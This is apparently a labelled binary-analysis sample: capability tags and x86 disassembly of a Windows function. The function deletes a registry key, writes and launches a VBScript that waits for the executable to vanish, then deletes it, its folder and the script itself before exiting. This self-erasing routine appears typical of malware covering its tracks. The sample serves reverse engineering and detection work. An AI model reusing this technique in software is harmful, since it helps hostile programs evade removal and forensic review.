Function at 0x40802e
Capabilities:
Create process on windows
Delete registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
lea eax, [ebp - 0x2a0]
push ebx
push esi
push edi
mov ebx, 0x208
xor edi, edi
push ebx
push edi
push eax
call fcn.0042e260
add esp, 0xc
mov esi, 0x466f70
mov ecx, esi
call fcn.00402020
push eax
mov ecx, esi
call fcn.00402028
push eax
push ebx
lea eax, [ebp - 0x2a0]
mov esi, 0x466f28
push eax
push str.exepath
mov ecx, esi
call fcn.00402028
mov edx, eax
call fcn.0040c9a2
add esp, 0x14
test al, al
jne 0x40809d
push ebx
lea eax, [ebp - 0x2a0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
call fcn.00402028
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebx, 0x466f40
mov byte [ebp - 1], 1
mov edx, 0x45862c
mov ecx, ebx
call fcn.004062f3
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test al, al
je 0x4080de
push 0x80
mov ecx, ebx
call fcn.00404459
push eax
call esi
push 0x80
lea eax, [ebp - 0x2a0]
push eax
call esi
mov ebx, eax
lea ecx, [ebp - 0x1c]
neg ebx
push str..vbs
sbb bl, bl
call fcn.00413550
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00413821
mov edx, eax
lea ecx, [ebp - 0x94]
call fcn.00407536
pop ecx
lea ecx, [ebp - 0x4c]
call fcn.004034ff
lea ecx, [ebp - 0x1c]
call fcn.00402091
lea eax, [ebp - 0x94]
push eax
push 0x4586b8
push 0x458a28
call fcn.00431b92
pop ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403509
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00407536
pop ecx
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.00408c43
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.004034ff
lea ecx, [ebp - 0x4c]
call fcn.004034ff
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x1c]
call fcn.00403509
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x34]
call fcn.00408c67
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.004034ff
and bl, byte [ebp - 1]
je 0x4081e5
push 0x458ad0
lea eax, [ebp - 0x2a0]
push eax
lea ecx, [ebp - 0x64]
call fcn.00403509
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x4c]
call fcn.00408c67
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00407536
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00405cd9
lea ecx, [ebp - 0x1c]
call fcn.004034ff
lea ecx, [ebp - 0x4c]
call fcn.004034ff
lea ecx, [ebp - 0x64]
call fcn.004034ff
push 0x458b08
lea eax, [ebp - 0x2a0]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x4c]
call fcn.00403509
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00407536
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407536
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00405cd9
lea ecx, [ebp - 0x64]
call fcn.004034ff
lea ecx, [ebp - 0x1c]
call fcn.004034ff
lea ecx, [ebp - 0x4c]
call fcn.004034ff
test bl, bl
je 0x408246
push str.wend_n
lea ecx, [ebp - 0x34]
call fcn.00405cd0
mov ebx, 0x45862c
mov esi, 0x466f40
mov edx, ebx
mov ecx, esi
call fcn.004062f3
test al, al
je 0x408295
push 0x458b08
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x1c]
call fcn.00408c8b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407536
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00405cd9
lea ecx, [ebp - 0x64]
call fcn.004034ff
lea ecx, [ebp - 0x1c]
call fcn.004034ff
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x34]
call fcn.00405cd0
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00404459
push eax
lea ecx, [ebp - 0x34]
call fcn.00402020
mov esi, eax
lea ecx, [ebp - 0x34]
add esi, esi
call fcn.00404459
mov edx, esi
mov ecx, eax
call fcn.00413f84
pop ecx
pop ecx
test al, al
je 0x4082e7
push edi
push ebx
push ebx
lea ecx, [ebp - 0x7c]
call fcn.00404459
push eax
push 0x4585bc
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]